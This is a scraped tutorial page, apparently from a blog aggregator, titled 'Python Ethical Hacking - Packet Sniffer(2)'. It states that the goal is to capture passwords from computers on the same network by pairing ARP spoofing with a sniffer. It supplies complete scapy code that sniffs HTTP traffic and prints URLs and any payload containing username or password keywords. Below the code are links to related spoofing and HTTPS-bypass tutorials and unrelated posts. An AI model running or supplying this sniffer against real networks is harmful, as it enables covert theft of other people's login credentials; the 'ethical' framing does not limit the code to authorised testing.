Python Ethical Hacking - Packet Sniffer(2)
Capturing passwords from any computer connected to the same network.
ARP_SPOOF + PACKET_SNIFFER
- Target a computer on the same network.
- arp_spoof to redirect the flow of packets(become MITM)
- Packet_sniffer to see URLs, usernames, and passwords sent by the target.
#!/usr/bin/env python from scapy.all import *
from scapy.layers.http import * def sniff(interface):
scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet) def get_url(packet):
return packet[HTTPRequest].Host.decode(errors='ignore') + packet[HTTPRequest].Path.decode(errors='ignore') def get_login_info(packet):
if packet.haslayer(scapy.all.Raw):
load = packet[scapy.all.Raw].load.decode(errors='ignore')
keywords = ["username", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
return load def process_sniffed_packet(packet):
if packet.haslayer(HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >> " + url) login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password > " + login_info + "\n\n") sniff("eth0")

Python Ethical Hacking - Packet Sniffer(2)的更多相关文章
- Python Ethical Hacking - Packet Sniffer(1)
		PACKET_SNIFFER Capture data flowing through an interface. Filter this data. Display Interesting info ... 
- Python Ethical Hacking - ARP Spoofing
		Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ... 
- Python Ethical Hacking - NETWORK_SCANNER(1)
		NETWORK_SCANNER Discover all devices on the network. Display their IP address. Display their MAC add ... 
- Python Ethical Hacking - Bypass HTTPS(1)
		HTTPS: Problem: Data in HTTP is sent as plain text. A MITM can read and edit requests and responses. ... 
- Python Ethical Hacking - BeEF Framework(1)
		Browser Exploitation Framework. Allows us to launch a number of attacks on a hooked target. Targets ... 
- Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)
		Recalculating Content-Length: #!/usr/bin/env python import re from netfilterqueue import NetfilterQu ... 
- Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(2)
		MODIFYING DATA IN HTTP LAYER Edit requests/responses. Replace download requests. Inject code(html/Ja ... 
- Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(1)
		MODIFYING DATA IN HTTP LAYER Edit requests/responses. Replace download requests. Inject code(html/Ja ... 
- Python Ethical Hacking - DNS Spoofing
		What is DNS Spoofing Sniff the DNSRR packet and show on the terminal. #!/usr/bin/env python from net ... 
随机推荐
- .Net Core微服务入门全纪录(六)——EventBus-事件总线
			前言 上一篇[.Net Core微服务入门全纪录(五)--Ocelot-API网关(下)]中已经完成了Ocelot + Consul的搭建,这一篇简单说一下EventBus. EventBus-事件总 ... 
- 一分钟开始持续集成之旅系列之:Java + GWT
			作者:CODING - 朱增辉 前言 Google Web Toolkit(GWT)是一个开源.免费的 Web 开发框架,通过该框架,您可以使用 Java 构建复杂.高性能的 JavaScript 应 ... 
- [ C++ ] 勿在浮沙筑高台 —— 拾遗
			explicit 主要用于处理一个参数的构造函数,使其不用于隐式类型转换(防止二义性) operator->() C++设计 ->可以一直保留下去 仿函数 仿函数会隐式继承他们中的一个(详 ... 
- 处理TortoiseGit一直弹出密码框的方法 -输入git@XXXX.com的密码
			问题 :在push和pull的时候,一直都弹出这个框 1.开始处搜索TortoiseGit文件夹,找到其中的“PuTTYgen”文件,如下显示 2.运行之后在弹出的窗口中点击下方的“Generate” ... 
- JavaWeb网上图书商城完整项目--day02-5.ajax校验功能之服务器端三层实现
			regist.jsp页面中有异步请求服务器来对表单进行校验: l 校验登录名是否已注册过: l 校验Email是否已注册过: l 校验验证码是否正确. 这说明在UserServlet中需要提供相 ... 
- c语音学习笔记
			1.学习教程参考了杨光福 android jni Android视频<JNI> http://edu.csdn.net/course/detail/3235/54186?auto_star ... 
- java集合--模拟斗地主发牌洗牌
			import java.util.*; /** * @Date: 2020/6/17 19:53 */public class Test04 { public static void main(Str ... 
- 解Bug之路-中间件"SQL重复执行"
			前言 我们的分库分表中间件在线上运行了两年多,到目前为止还算稳定.在笔者将精力放在处理各种灾难性事件(例如中间件物理机宕机/数据库宕机/网络隔离等突发事件)时.竟然发现还有一些奇怪的corner ca ... 
- 深入理解RocketMQ(一)---阅读源码准备
			本文主要描述使用Idea获取rocketMQ源码及源码的读取. 在演示搭建源码环境前,先简要描述一下RocketMQ的设计目标. 1.架构模式 和大多数消息中间件一样,采用的是发布订阅模式,基本组件包 ... 
- ubuntu添加新的分辨率选项(干货)
			ubuntu默认可选的分辨率不能够满足我的需求,在这里记录增加1440*900分辨率的过程 1. 终端输入: cvt 1440 900 2. 修改配置文件: vim /etc/profile xran ... 
